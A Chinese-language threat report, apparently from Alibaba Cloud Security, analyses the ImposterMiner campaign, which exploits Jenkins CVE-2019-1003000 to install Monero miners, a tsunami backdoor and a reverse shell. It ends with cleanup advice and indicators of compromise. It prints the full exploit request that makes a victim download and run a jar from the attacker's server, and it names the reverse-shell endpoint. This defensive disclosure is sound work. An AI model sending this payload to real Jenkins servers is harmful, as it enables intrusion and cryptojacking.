威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云安全基线管理CSPM免费试用,1000次1年
云安全中心 防病毒版,最高20核 3个月
简介: 简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件。除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐患。 由于攻击者直接复制了Jenkins系列漏洞发现者(Orange.tw)在博客上公布的poc,攻击payload含有"Orange.tw"字样,可能被误认为是漏洞发现者在进行测试,因此我们将木马命名为ImposterMiner(冒充者)。

简介

阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件。除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐患。

由于攻击者直接复制了Jenkins系列漏洞发现者(Orange.tw)在博客上公布的poc,攻击payload含有"Orange.tw"字样,可能被误认为是漏洞发现者在进行测试,因此我们将木马命名为ImposterMiner(冒充者)。

本次事件具有两个特点:一是ImposterMiner木马开始爆发的时间距离Jenkins漏洞利用方法公开的时间极短,仅相隔2天;二是仅靠web漏洞直接入侵,不具有蠕虫传染性。这两点与不久前利用Nexus Repository Manager 3新漏洞进行攻击的watchbog挖矿木马事件较为相似。

本文将分析ImposterMiner挖矿木马的结构,并就如何清理、预防类似挖矿木马给出安全建议。

ImposterMiner挖矿木马分析

_

上图展示了ImposterMiner挖矿木马的感染流程。攻击者首先使用如下payload攻击jenkins服务

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
Host:【victim_host】:【jenkins_port】

该payload使用了CVE-2019-1003000这个jenkins RCE(远程命令执行)漏洞,导致受害主机请求http://45.55.211.79/tw/orange/poc/8/poc-8.jar文件,并在本地执行。这里不难发现,攻击者只是简单修改了漏洞发现者博客上公开的代码,因而直接以orange.tw(漏洞发现者的名字)和poc(Proof of Concept,能够证明漏洞存在的代码,通常点到为止不造成实际损害)作为项目和模块名,乍看之下,非常容易将此次攻击误认为漏洞作者进行的无害的安全测试。

poc-8.jar的代码如下

_

其中请求的http://45.55.211.79/.cache/jenkins/n2.sh脚本,将会创建/tmp/.scr文件夹,并请求下载45.55.211.79/.cache/jenkins/s.tar.gz:

gz

解压s.tar.gz得到如下左图所示文件夹,并运行右图中的go脚本,根据当前机器的架构,选择运行i686或x86_64。

64

i686和x86_64这两个程序都是xmrig改写而成的矿机,主要在nanopool.com矿池进行挖矿。它们还会将自身写入crontab文件,每分钟执行,进行持久化,此处不再赘述。

_

此外,45.55.211.79服务器上存有多种历史上曾经使用,或尚未启用的payload。

payload

例如3月7日,阿里云安全曾捕获到攻击者使用图中文件夹poc/5/poc-5.jar中的payload,会导致被入侵主机下载解压并运行http://45.55.211.79/.cache/jenkins/jks.tar.gz。该压缩包中包括tsunami木马变种,能够通过IRC接收下发指令并执行各种攻击,如下图所示。

_

又例如http://45.55.211.79/.cache/jenkins/jen.pl会使被入侵主机反弹shell到190.121.18.164:1090

90

以上这些恶意文件的最后修改日期说明ImposterMiner的作者依然在频繁进行更新,同时还说明作者并不满足于在受害者主机上安静挖矿,而是时刻准备着将受害主机用作ddos肉鸡,或使用shell对主机进行任意操纵。

影响范围

根据阿里云安全监控到的入侵趋势(如下图),ImposterMiner挖矿木马从漏洞公布后仅两天(2月21日)就开始利用其进行攻击和挖矿,给用户留下的修复时间窗口非常小。

攻击数量于3月3日左右达到最高峰,并且至今仍保持着较高的水平。

_
攻击趋势示意攻击趋势示意

ImposterMiner恶意挖矿木马当前使用的钱包地址为:42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X

从矿池数据看出,该地址HashRate波动较大,最高时达到236KH/s,平均值在150KH/s左右,可能已有1~2万台服务器被入侵挖矿。该钱包地址累计收益为169门罗币左右,约合9120美元。

_

除了上述地址外,攻击者还使用过至少一个不同的钱包地址:4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5。

安全建议

Jenkins作为最受欢迎的持续集成(CI)工具,使用量很大。上一次Jenkins远程命令执行漏洞(CVE-2017-1000353)的曝光,导致了“史上最大规模挖矿事件之一”,攻击者收益逾300万美元。

因此,Jenkins漏洞可能造成影响的范围巨大。这也导致逐利的攻击者对Jenkins虎视眈眈,一有新的漏洞便迅速加以利用;这次RCE漏洞从公开到开始被黑产利用仅花了2天,就是很好的证明。

针对此次安全事件,阿里云安全给出以下预防和清理建议:

  1. 用户应及时升级包括Jenkins在内的各种软件,避免遭受类似此次ImposterMiner挖矿木马以Jenkins作为入口的攻击,导致生产系统的其他部分一并沦陷。怀疑已经受到感染的用户,可自查主机是否存在/tmp/.scr恶意目录,并根据自身情况考虑清空/tmp目录;使用ps命令查看是否存在名为"-bash"恶意进程;自查并清理crontab相关文件。
  2. 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。
  3. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。

IOC

钱包地址:
4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5
42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X

矿池地址:
https://www.supportxmr.com
https://xmr.nanopool.org

恶意程序:
_

恶意url:
http://45.55.211.79/.cache/jenkins/*
http://45.55.211.79/tw/orange/poc/*

恶意主机:
190.121.18.164

Reference
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
https://research.checkpoint.com/jenkins-miner-one-biggest-mining-operations-ever-discovered/

本文作者:悟泛、目明

相关文章
|
安全 jenkins Java
CVE-2017-1000353 Jenkins漏洞复现系列(一)
Jenkins未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行
752 0
|
监控 安全 jenkins
游戏安全资讯精选 2018年第五期:一年收购金额超100亿,都有哪些棋牌游戏公司上了岸?PHP GD库拒绝服务漏洞安全建议,软件集成平台Jenkins证书及日志泄露
一年收购金额超100亿,都有哪些棋牌游戏公司上了岸?PHP GD库拒绝服务漏洞安全建议,软件集成平台Jenkins证书及日志泄露
2338 0
|
2月前
|
jenkins 持续交付 开发者
自动化部署:使用Jenkins和Docker实现持续集成与交付
【8月更文挑战第31天】本文旨在为读者揭示如何通过Jenkins和Docker实现自动化部署,从而加速软件开发流程。我们将从基础概念讲起,逐步深入到实际操作,确保即使是初学者也能跟上步伐。文章将提供详细的步骤说明和代码示例,帮助读者理解并应用这些工具来优化他们的工作流程。
|
2月前
|
持续交付 jenkins Devops
WPF与DevOps的完美邂逅:从Jenkins配置到自动化部署,全流程解析持续集成与持续交付的最佳实践
【8月更文挑战第31天】WPF与DevOps的结合开启了软件生命周期管理的新篇章。通过Jenkins等CI/CD工具,实现从代码提交到自动构建、测试及部署的全流程自动化。本文详细介绍了如何配置Jenkins来管理WPF项目的构建任务,确保每次代码提交都能触发自动化流程,提升开发效率和代码质量。这一方法不仅简化了开发流程,还加强了团队协作,是WPF开发者拥抱DevOps文化的理想指南。
49 1
|
2月前
|
jenkins 持续交付 网络安全
利用 Jenkins 实现持续集成与持续部署-代码拉取终端的配置
【8月更文挑战第30天】在Jenkins服务器中,git和Gitee是常用的代码拉取终端。Git作为分布式版本控制系统,具备出色的灵活性和可扩展性;而Gitee则在国内网络环境下表现更佳,适合团队协作。Git配置包括安装、设置用户信息及生成SSH密钥等步骤;Gitee配置也类似,需注册账号、创建仓库、配置基本信息并设置远程仓库地址。开发人员提交代码后,可通过Webhook、定时轮询或事件监听等方式触发Jenkins动作,确保持续集成和部署高效运行。正确配置这些触发机制并通过测试验证其有效性至关重要。
54 2
|
2月前
|
jenkins 测试技术 持续交付
利用 Jenkins 实现持续集成与持续部署(一)
【8月更文挑战第30天】Jenkins在软件开发中至关重要,其持续集成与部署功能极大提升了开发效率、保障了软件质量、增强了团队协作并加速了产品上市。实现这些功能前需搭建基础环境:配置合适的JDK版本、设置Git版本控制并准备好目标服务器。在Jenkins中创建新任务,详细配置源码管理、构建触发器(如定时构建或监听代码变更)、构建及部署步骤(如使用Maven编译打包、通过SSH插件或Docker部署)。这些关键配置确保了自动化流程的顺畅运行。
53 1
|
2月前
|
Java jenkins Shell
jenkins学习笔记之五:Maven、Ant、Gradl、Node构建工具集成
jenkins学习笔记之五:Maven、Ant、Gradl、Node构建工具集成
|
2月前
|
jenkins 持续交付
jenkins学习笔记之六:共享库方式集成构建工具
jenkins学习笔记之六:共享库方式集成构建工具
|
2月前
|
监控 jenkins 持续交付
|
2月前
|
Kubernetes jenkins 持续交付
在K8S中,Jenkins如何集成K8S集群?
在K8S中,Jenkins如何集成K8S集群?
下一篇
无影云桌面